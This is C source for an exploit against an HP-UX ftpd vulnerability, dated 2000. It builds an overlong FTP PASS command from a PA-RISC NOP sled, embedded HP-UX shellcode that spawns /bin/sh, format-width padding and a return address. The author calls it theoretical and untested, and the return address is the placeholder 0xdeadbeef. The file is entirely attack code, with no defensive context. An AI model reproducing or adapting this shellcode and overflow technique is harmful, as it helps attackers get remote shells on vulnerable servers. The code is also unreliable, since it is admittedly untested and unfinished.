/* theoretical exploit for hpux ftpd vulnerability */
/* not tested anywhere, needs tweaking */

/* (c) 2000 by babcia padlina ltd. <venglin@freebsd.lublin.pl> */

#include <stdio.h>
#include <stdlib.h>

#define NOPS 100
#define BUFSIZE 1024

static const char rcsid[] =
  "$Id: urban2.c,v 1.1.1.1 2001/05/21 15:28:06 venglin Exp $";

char shellcode[] = /* HP-UX shellcode */
	"\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01\xe4\x20\xe0\x08\x0b"
	"\x5a\x02\x9a\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41"
	"\x04\x02\x60\x40\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02"
	"\x98\x34\x16\x04\xbe\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34"
	"\xde\xad\xca\xfe\x2f\x62\x69\x6e\x2f\x73\x68";

char nop[] = "\x08\x21\x02\x80"; /* PA-RISC NOP */

unsigned long ret = 0xdeadbeef;

int main(argc, argv)
int argc;
char **argv;
{
	int stackofs;
	char buf[BUFSIZ*2];
	int i;

	for (strcpy(buf, "PASS "),i=0;i<NOPS;i++) strcat(buf, nop);
	sprintf(buf+strlen(buf), "%s%%.%dd%c%c%c%c", shellcode,
		BUFSIZE-strlen(shellcode)-NOPS*4-4,
		((int)ret & 0xff), (((int)ret & 0xff00) >> 8),
		(((int)ret & 0xff0000) >> 16),
		(((int)ret & 0xff000000) >> 24));
	printf("USER ftp\r\n%s\r\n", buf);

	exit(0);
}
